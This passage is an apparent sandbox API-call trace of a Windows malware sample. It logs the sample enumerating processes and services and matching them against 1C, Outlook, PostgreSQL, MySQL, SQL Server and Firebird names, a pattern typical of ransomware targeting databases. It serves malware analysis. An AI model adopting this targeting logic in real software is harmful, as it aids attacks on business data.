(lpString1="outlook.exe", lpString2="System") returned -1 [0142.292] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0142.292] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0142.292] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0142.292] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0142.292] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0142.293] lstrlenW (lpString="smss.exe") returned 8 [0142.293] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0142.293] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0142.293] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0142.293] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0142.293] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0142.293] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0142.293] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0142.293] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0142.293] lstrlenW (lpString="csrss.exe") returned 9 [0142.293] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0142.293] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0142.293] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0142.293] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0142.293] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0142.293] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0142.293] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0142.293] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0142.294] lstrlenW (lpString="wininit.exe") returned 11 [0142.294] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0142.294] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0142.294] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0142.294] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0142.294] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0142.294] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0142.294] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0142.294] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0142.294] lstrlenW (lpString="csrss.exe") returned 9 [0142.294] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0142.294] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0142.294] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0142.294] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0142.294] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0142.294] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0142.294] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0142.294] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0142.295] lstrlenW (lpString="winlogon.exe") returned 12 [0142.295] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0142.295] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0142.295] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0142.295] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0142.295] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0142.295] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0142.295] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0142.295] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0142.295] lstrlenW (lpString="services.exe") returned 12 [0142.295] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0142.295] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0142.295] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0142.295] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0142.295] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0142.295] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0142.295] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0142.295] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0142.296] lstrlenW (lpString="lsass.exe") returned 9 [0142.296] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0142.296] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0142.296] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0142.296] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0142.296] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0142.296] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0142.296] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0142.296] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0142.296] lstrlenW (lpString="lsm.exe") returned 7 [0142.296] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0142.296] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0142.296] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0142.296] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0142.296] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0142.296] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0142.296] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0142.296] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.297] lstrlenW (lpString="svchost.exe") returned 11 [0142.297] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0142.297] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0142.297] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0142.297] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0142.297] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0142.297] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0142.297] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0142.297] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.297] lstrlenW (lpString="svchost.exe") returned 11 [0142.297] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0142.297] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0142.297] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0142.297] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0142.297] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0142.297] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0142.297] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0142.297] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.298] lstrlenW (lpString="svchost.exe") returned 11 [0142.298] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0142.298] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0142.298] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0142.298] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0142.298] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0142.298] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0142.298] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0142.298] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.298] lstrlenW (lpString="svchost.exe") returned 11 [0142.299] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.299] lstrlenW (lpString="svchost.exe") returned 11 [0142.299] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0142.299] lstrlenW (lpString="audiodg.exe") returned 11 [0142.299] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.299] lstrlenW (lpString="svchost.exe") returned 11 [0142.300] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0142.300] lstrlenW (lpString="userinit.exe") returned 12 [0142.300] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0142.300] lstrlenW (lpString="explorer.exe") returned 12 [0142.300] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0142.300] lstrlenW (lpString="dwm.exe") returned 7 [0142.300] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.301] lstrlenW (lpString="svchost.exe") returned 11 [0142.301] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0142.301] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0142.301] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0142.301] lstrlenW (lpString="spoolsv.exe") returned 11 [0142.301] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0142.302] lstrlenW (lpString="reader_sl.exe") returned 13 [0142.302] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.302] lstrlenW (lpString="svchost.exe") returned 11 [0142.302] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0142.302] lstrlenW (lpString="taskhost.exe") returned 12 [0142.302] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0142.303] CloseHandle (hObject=0x1dc) returned 1 [0142.303] Sleep (dwMilliseconds=0x1f4) [0143.068] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4293cb8 [0143.319] EnumServicesStatusExW (in: hSCManager=0x4293cb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0143.320] GetLastError () returned 0xea [0143.320] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd68) returned 0x8f0da0 [0143.320] EnumServicesStatusExW (in: hSCManager=0x4293cb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8f0da0, cbBufSize=0xd68, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x8f0da0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0143.320] CloseServiceHandle (hSCObject=0x4293cb8) returned 1 [0143.320] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0143.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0143.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0143.320] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0143.320] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0143.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0143.320] lstrlenW (lpString="AudioSrv") returned 8 [0143.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0143.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0143.320] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0143.320] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0143.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0143.320] lstrlenW (lpString="BFE") returned 3 [0143.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0143.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0143.320] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0143.321] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0143.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0143.321] lstrlenW (lpString="CryptSvc") returned 8 [0143.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0143.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0143.321] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0143.321] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0143.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0143.321] lstrlenW (lpString="CscService") returned 10 [0143.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0143.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0143.321] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0143.321] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0143.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0143.321] lstrlenW (lpString="DcomLaunch") returned 10 [0143.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0143.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0143.321] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0143.321] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0143.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0143.321] lstrlenW (lpString="Dhcp") returned 4 [0143.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0143.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0143.321] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0143.321] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0143.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0143.321] lstrlenW (lpString="Dnscache") returned 8 [0143.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0143.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0143.321] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0143.321] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0143.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0143.321] lstrlenW (lpString="DPS") returned 3 [0143.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0143.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0143.321] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0143.322] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0143.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0143.322] lstrlenW (lpString="eventlog") returned 8 [0143.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0143.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0143.322] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0143.322] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0143.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0143.322] lstrlenW (lpString="EventSystem") returned 11 [0143.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0143.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0143.322] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0143.322] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0143.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0143.322] lstrlenW (lpString="gpsvc") returned 5 [0143.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0143.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0143.322] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0143.322] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0143.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0143.322] lstrlenW (lpString="LanmanWorkstation") returned 17 [0143.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0143.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0143.322] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0143.322] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0143.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0143.322] lstrlenW (lpString="lmhosts") returned 7 [0143.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0143.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0143.322] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0143.322] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0143.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0143.322] lstrlenW (lpString="MMCSS") returned 5 [0143.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0143.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0143.322] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0143.323] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0143.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0143.323] lstrlenW (lpString="MpsSvc") returned 6 [0143.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0143.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0143.323] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0143.323] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0143.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0143.323] lstrlenW (lpString="NlaSvc") returned 6 [0143.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0143.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0143.323] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0143.323] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0143.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0143.323] lstrlenW (lpString="nsi") returned 3 [0143.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0143.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0143.323] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0143.323] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0143.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0143.323] lstrlenW (lpString="PcaSvc") returned 6 [0143.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0143.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0143.323] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0143.323] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0143.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0143.323] lstrlenW (lpString="PlugPlay") returned 8 [0143.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0143.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0143.323] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0143.323] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0143.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0143.323] lstrlenW (lpString="Power") returned 5 [0143.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0143.323] lstrcmpiW 